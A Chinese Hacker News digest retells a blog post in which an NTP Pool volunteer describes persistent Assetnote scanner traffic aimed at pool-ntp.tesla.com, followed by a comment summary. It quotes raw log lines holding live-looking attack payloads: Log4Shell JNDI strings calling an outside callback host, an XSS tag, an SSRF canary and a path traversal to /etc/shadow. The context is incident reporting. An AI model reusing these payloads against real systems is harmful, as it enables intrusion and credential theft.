Hacker News 中文摘要

RSS订阅

我正遭到特斯拉网络攻击 -- I'm being cyberattacked by Tesla, Inc

原文链接 | HN讨论 | 2026-09-14 04:02:45

在IPv4互联网暗处，常规扫描流量与偶发顽固攻击本不罕见，但笔者查阅nginx日志时发现异状：自三个特定IP发起的持续攻击流量，竟携带特斯拉（Tesla, Inc.）的pool-ntp.tesla.com的Host或Referer头，附带Assetnote（Assetnote）用户代理，企图SSRF至Assetnote回调地址。该流量源于54.165.75.96、35.168.63.24与52.44.200.251三个扫描器，皆位于亚马逊云（Amazon Web Services）自治系统。Assetnote作为合法攻击面管理工具现称Searchlight Cyber，确采用此类连续威胁暴露扫描器执行自动检查。

正文

2026-09-13

IPv4 互联网的阴暗角落里满是路过式扫描流量和偶尔异常执着的攻击者，这并不稀奇，但我在翻看 nginx 日志时发现了怪事：来自三个特定 IP 的持续攻击流量，其 Host 或 Referer 头写着 pool-ntp.tesla.com，带着 Assetnote 的 user agent，并试图把我 SSRF 到 Assetnote 的回调 URL：

35.168.63.24 - - [13/Sep/2026:01:14:31 -0700] "GET /?a=%3Cscript%20src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>alert()%3C%2Fscript%3E HTTP/1.1" 299 817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 ${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}" host=pool-ntp.tesla.com

流量来自三台特定扫描器：54.165.75.96、35.168.63.24 和 52.44.200.251，全都位于 Amazon Web Services 的 AS（AMAZON-AES）。

Assetnote 是一款合法的攻击面管理工具，在营销材料里现在叫 Searchlight Cyber，确实会用这样持续的威胁暴露扫描器替客户做自动化资产检查。假设这真是 Assetnote 的流量（他们确实用 AWS，这一点对得上），那他们一定是把我误当成了特斯拉的内部资产。

这是怎么发生的

特斯拉把 pool-ntp.tesla.com 发布为指向 pool.ntp.org 的 CNAME。pool.ntp.org 是 NTP Pool，一个由志愿 NTP 服务器组成的轮询池，我也是其中一员。（顺带一提，他们本该用一个厂商专用区，而不是在 tesla.com 下自己建 CNAME。）

推测：Assetnote 把所有能在 tesla.com 下找到的东西都收了进来，包括 pool-ntp.tesla.com，它 CNAME 到 pool.ntp.org，而后者可能解析到我的机器 67.215.249.229。资产清单把它记成特斯拉资产，于是开始朝我一个陌生人扔漏洞利用。

我给特斯拉发了邮件，还没收到回复：

你好，

这不是特斯拉的漏洞，我也不是在索取什么，只是想告诉你们，你们可能无意中成了别人的麻烦。

我的服务器是 NTP Pool 的一员。大约过去两天里，它收到了约 8,000 个请求，来自你们的两台扫描主机 54.165.75.96 和 35.168.63.24，UA 是 Assetnote/1.0.0 (ExposureScan)，其中大量是模板化的漏洞利用载荷。

每个载荷都把 pool-ntp.tesla.com 当作目标主机名。我猜你们有个内部子域轮询解析到 NTP Pool 成员服务器上，而其中绝大多数并不属于特斯拉。你们的资产发现似乎无意中把 pool-ntp.tesla.com 能解析到的每一个 IP 都当成了主动扫描范围内的资产。

这里没造成损害，但我想提醒你们：你们正在朝陌生人的 IP 扔漏洞利用。

需要的话我可以提供逐字日志。

Robin dreamstation.systems / 67.215.249.229

他们的流量

他们对我试了各种漏洞利用：路径遍历、webshell 上传、探测软件内部、探测 WordPress 及其他 CMS 的管理端点、SSRF、Log4Shell 等等。

还有回调尝试。989 个请求内嵌了 assetnote-callback.com 主机名，用于 Log4Shell 和 Text4Shell 检测；114 个请求使用了 canary.assetnotessrf.com，用于 SSRF：

GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a}

有件事我无法解释：15 个请求的 Host 头是 login.solarcity.com，全都请求 GET /(S(x))/b/(S(x))in/System.Web.Mvc.dll，我猜这是某种 ASP.NET 技巧，想把 /b/(S(x))in/ 解析成 /bin/。

在 Host 头之外，我也找到一些有趣的信息。扫一遍 Referer 头、URL 和查询字符串，能发现模板里本身就烤进去的主机名，比如：

GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow

我还注意到其他第三方主机名，包括 servicemcdonalds.com、saferas.com、rsmafghanistan.af、enrichcs.com.au、escience2010.org、al-forno.com.au 和 disneyfineart.com。

一个探测的 Referer 里还出现了 RFC 1918 地址：

GET /internal/v2/config/mpssecret/ADMSESSIONID Referer: http://192.168.178.222/admin_ui/mas/ent/html/main.html

扫描器出于某种原因还会对每个发现的端口说 HTTP。我的 SSH、Postfix 和 Dovecot 都收到了大量垃圾 HTTP 流量。

9 月 8 日起，我开始对 pool-ntp.tesla.com 这个 Host 返回非标准状态码 299（希望能引起看扫描日志的人注意），所有路径都返回这样一段内容：

这不是特斯拉的基础设施！

这是一台爱好者的 NTP、Web 及杂项服务器。

过去几天，我在 pool-ntp.tesla.com 这个 Host 上收到了大量请求，来自两台 Assetnote 扫描主机（54.165.75.96 和 35.168.63.24）。

pool-ntp.tesla.com CNAME 到 pool.ntp.org，后者轮询解析到成千上万台志愿 NTP 服务器，你们的扫描器似乎黏在我的服务器上了。

你们没对我造成任何损害，但你们正在朝陌生人的 IP 扔漏洞利用。

我已就此事发邮件给 VulnerabilityReporting@tesla.com。如果愿意，回信到 robin@dreamstation.systems，我可以提供详细日志。

遗憾的是，到目前为止这似乎没有改变他们的行为。他们的攻击没有一次得逞，这点我挺自豪。

自 8 月 21 日以来，我已从 Assetnote 的主机收到超过 50,000 个请求。流量还没停；以后我会更新这篇文章。

（是的，我完全可以直接在防火墙上封掉他们的 IP，但观察这个过程非常有趣，而且我想让特斯拉的某个人知道正在发生什么。）

他们在攻击整个 Pool 吗？

我在 NTP Pool 服务器运营者的社区版块里问过，有没有其他碰巧在 NTP 服务器同一 IP 上跑 Web 服务器的人遇到这种情况。一位运营者 Matt Nordhoff 说，他从 8 月 15 日起也一直在遇到：

$ sudo rg -zFI pool-ntp.tesla.com access.log* | awk '{print $1}' | sort | uniq -c | sort -gr | head

9126 54.165.75.96 7461 35.168.63.24 6123 52.44.200.251 11 64.227.103.50 6 146.190.142.16 4 3.101.230.148 3 3.88.188.142 3 3.101.216.68 2 54.213.2.72 2 54.202.10.40

但除此之外没人再说什么。我在想，他们是每次都重新解析 pool-ntp.tesla.com，把地理定位魔法能触及的一切都打一遍，还是只收集了少数几个 pool IP 然后反复猛敲这几个。

评论

社区普遍将此次扫描视为司空见惯的互联网背景噪音，少数人则从配置违规角度指出 Tesla 子域误指向公共 NTP 池才是根因与隐患。

认为这只是常态化的背景流量，作者有些小题大做

  • 每日全网扫描和探测 WordPress 等路径极其普遍，数千至数万次请求带宽消耗极低，配置防火墙过滤即可，无需写长文声讨。（认可度：较多人）
  • > 运行公开服务器必然招致海量怪异请求，这无非是打地鼠游戏，调好规则出门散步别在意（@sippingabonedry）

认为错在域名配置违规，Tesla 或扫描方误将公共 NTP 池当资产

  • pool-ntp.tesla.com 通过 CNAME 指向不受控的 NTP 池，被资产扫描器误判为特斯拉资产进而发起漏洞探针；厂商直接硬编码默认池域名违反了 NTP 池的服务条款。（认可度：较多人）
  • > 厂商嵌入 NTP 的正确方式有明文规定，把默认池域名写死其实违背了使用条款（@simonjgreen）

建议直接通知云厂商或扫描商止损，而非公开抱怨

  • 流量来自 AWS IP，应报告 AWS 或联系 Assetnote，这类商业扫描公司通常对在客户授权外扫描很敏感以避免责任；也可部署蜜罐反制。（认可度：较多人）
  • > 直接找 Assetnote 就行，多数托管漏洞扫描商对越权扫别人资产非常敏感（@kjs3）

从漏洞赏金视角看，子域自动探测已是新常态

  • 由于 *.tesla.com 在赏金平台明确属于授权范围，研究员系统会对解析到任何 IP 的子域自动探针，此等流量相比其他科技巨头已算轻微。（认可度：少数人）
  • > 只要地理路由碰到这个 IP，我的代理也会因特斯拉域名在范围内而狂扫，这种攻击流量就是新常态（@iancarroll）

指出 CNAME 到公池还存在证书劫持等隐患

  • 将企业子域 CNAME 至不可控的公共 NTP 池，理论上允许他人反复尝试申请该子域证书，带来安全风险。（认可度：少数人）

有价值的补充

  • 2003 年 Netgear 曾把某大学 NTP 服务器硬编码进大量产品，如今历史以另一种形式重演（@walrus01）。
  • 参与 NTP 池贡献是简单且有价值的回馈，能稳定提供服务的运维都应考虑（@simonjgreen）。
  • NTP 池成员常遇到各类奇异扫描（如 log4j 探针），本次事件在众多怪事中算相当良性（@bmenrigh）。